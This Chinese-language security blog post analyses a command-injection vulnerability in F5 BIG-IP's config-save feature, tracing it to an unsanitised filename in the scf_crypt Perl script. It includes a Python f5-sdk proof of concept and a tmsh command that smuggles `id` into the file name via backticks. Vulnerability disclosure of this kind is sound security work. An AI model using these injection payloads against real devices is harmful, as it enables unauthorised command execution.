style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf="">from f5.bigip import ManagementRoot  </span><span leaf="">mgmt = ManagementRoot(&#39;ip&#39;, &#39;user&#39;, &#39;password&#39;)  </span><span leaf="">options = {}  </span><span leaf="">options[&#39;file&#39;] = &#39;111111111111111&#39;  </span><span leaf="">proxies={  </span><span leaf="">    </span><span leaf="">}  </span><span leaf="">requests_params={  </span><span leaf="">    &#39;proxies&#39;:proxies  </span><span leaf="">}  </span><span leaf="">mgmt.tm.sys.config.exec_cmd(&#39;save&#39;, options=[options],requests_params=requests_params)</span></p></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">需要根据响应包提示的错误修正请求包：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100008386" data-ratio="0.3065764023210832" title="null" data-type="png" data-w="1034" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" src="https://wechat2rss.xlab.app/img-proxy/?k=4dbe69c5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxOmYlBuOMXTeYLrEqymOF9qNKLKwKJy60LibXtWJAj5QdzFjUkD2pYD3m76Gfxv0SsCjNzVaThArw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">为了快速分析，借助 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">pspy</span></p><span leaf=""> 进行进程监控，发现 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">icrd_child</span></p><span leaf=""> 将会启动 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">scf_crypt</span></p><span leaf=""> 这个 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">perl</span></p><span leaf=""> 脚本，并且文件名参数 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">file</span></p><span leaf=""> 直接传入了脚本：</span></div><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100008389" data-ratio="0.30332681017612523" title="null" data-type="png" data-w="1022" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" src="https://wechat2rss.xlab.app/img-proxy/?k=4056ae74&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxOmYlBuOMXTeYLrEqymOF9HDJLjYGddJlDBw6VpEBT28RqDmsQBsY3lXUU4haH9FBNL8BNmqJwzw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">上述实现过程位于 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">libtmsh.so</span></p><span leaf=""> 中的 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">ConfigFileCmd::execute_update</span></p><span leaf=""> 函数，内部将利用 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">do_cryption</span></p><span leaf=""> 进行加密处理，进而调用第三方脚本 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">scf_crypt</span></p><span leaf=""> 完成操作：</span></div><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100008388" data-ratio="0.7434656340755083" title="null" data-type="png" data-w="1033" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" src="https://wechat2rss.xlab.app/img-proxy/?k=4412e95a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxOmYlBuOMXTeYLrEqymOF9SldGwpy7vkSycRwrNFgsVfumNeXlvIA34whhKcOXFZIcHWHlCozG4Q%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">查看 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">scf_crypt</span></p><span leaf=""> 脚本，传入的 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">filename</span></p><span leaf=""> 参数将直接拼接到 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">cmd</span></p><span leaf=""> 中，然后通过反引号执行系统命令，存在命令注入漏洞：</span></div><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf="">...</span><span leaf="">my $action_type = $ARGV[0];</span><span leaf="">my $filename = $ARGV[1];</span><span leaf="">my $passphrase;</span><span leaf="">my $output_file;</span><span leaf="">my $cmd;</span><span leaf="">my $count;</span><span leaf="">...</span><span leaf="">if  ($action_type eq &#34;encrypt&#34;) {</span><span leaf="">    my $tempFile=File::Temp-&gt;new();</span><span leaf="">    my $temp=$tempFile-&gt;filename;</span><span leaf="">    if ($count == 2) {</span><span leaf="">    $passphrase =~ s/`/\\`/g;</span><span leaf="">        open(FH,&#39;&gt;&#39;,$temp );</span><span leaf="">        print FH $passphrase;</span><span leaf="">        close(FH);</span><span leaf="">        chmod 600, $temp;</span><span leaf="">        $cmd = &#34;gpg --homedir /root/.gnupg --passphrase-file $temp --batch -a --symmetric --cipher-algo AES  $filename&#34;;</span><span leaf="">    }</span><span leaf="">    else {</span><span leaf="">        open(FH,&#39;&gt;&#39;,$temp );</span><span leaf="">        print FH $passphrase;</span><span leaf="">        close(FH);</span><span leaf="">        chmod 600, $temp;</span><span leaf="">        $cmd = &#34;gpg --homedir /root/.gnupg --passphrase-file $temp --batch -a --symmetric --cipher-algo AES  $filename&#34;;</span><span leaf="">    }</span><span leaf="">    `$cmd &amp;&gt; /dev/null`;</span><span leaf="">...</span></p></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">可以利用反引号实现命令注入：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100008391" data-ratio="0.2747791952894995" title="null" data-type="png" data-w="1019" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" src="https://wechat2rss.xlab.app/img-proxy/?k=1af8fbc4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxOmYlBuOMXTeYLrEqymOF9zOX1kdDVI3Ae4qRyZbiaWl1XE7BsmtAIxK5Sl5VZxkH3CCbWJ84VcBw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">与 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">CVE-2025-20029</span></p><span leaf=""> 类似，通过 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">tmsh cli</span></p><span leaf=""> 也可以触发漏洞：</span></div><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf="">[root@localhost:Active:Standalone] tmp # tmsh</span><span leaf="">root@(localhost)(cfg-sync Standalone)(Active)(/Common)(tmos)# save sys config file aaa`id&gt;&amp;2` passphrase 123</span></p></pre><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100008390" data-ratio="0.18590998043052837" title="null" data-type="png" data-w="1022" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" src="https://wechat2rss.xlab.app/img-proxy/?k=56abc8ab&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxOmYlBuOMXTeYLrEqymOF9qdCpAzSicOicvjibZGmesn0JuORtDHK0J35RI1oicPonr9SyVAKKXt71Lw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 0px;color: rgb(10, 10, 10);font-family: ui-sans-serif, system-ui, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 0px;line-height: 0;"><span leaf=""> </span></p><p><span style="color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 1.4px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span leaf="">由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害，均由使用本人负责，公众号及文章作者不为此承担任何责任。</span></span></p><p class="mp_profile_iframe_wrp" nodeleaf=""><mp-common-profile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-nickname="自在安全" data-alias="zizaianquan" data-from="0" data-headimg="http://mmbiz.qpic.cn/sz_mmbiz_png/9UsWg6ibZLAyXOOjT6ic7nYAv7IbBiaSry4atmFYFQotupk7xIuiaK0opNtiariaXJo31Cf1X4t5609epW2oBesIdoxA/0?wx_fmt=png" data-signature="网海茫茫隐暗礁，漏洞潜伏似波涛。 慧心洞察安澜处，自在安全任我遨。" data-id="Mzk0NTU5Mjg0Ng==" data-is_biz_ban="0" data-service_type="1" data-verify_status="0"></mp-common-profile></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


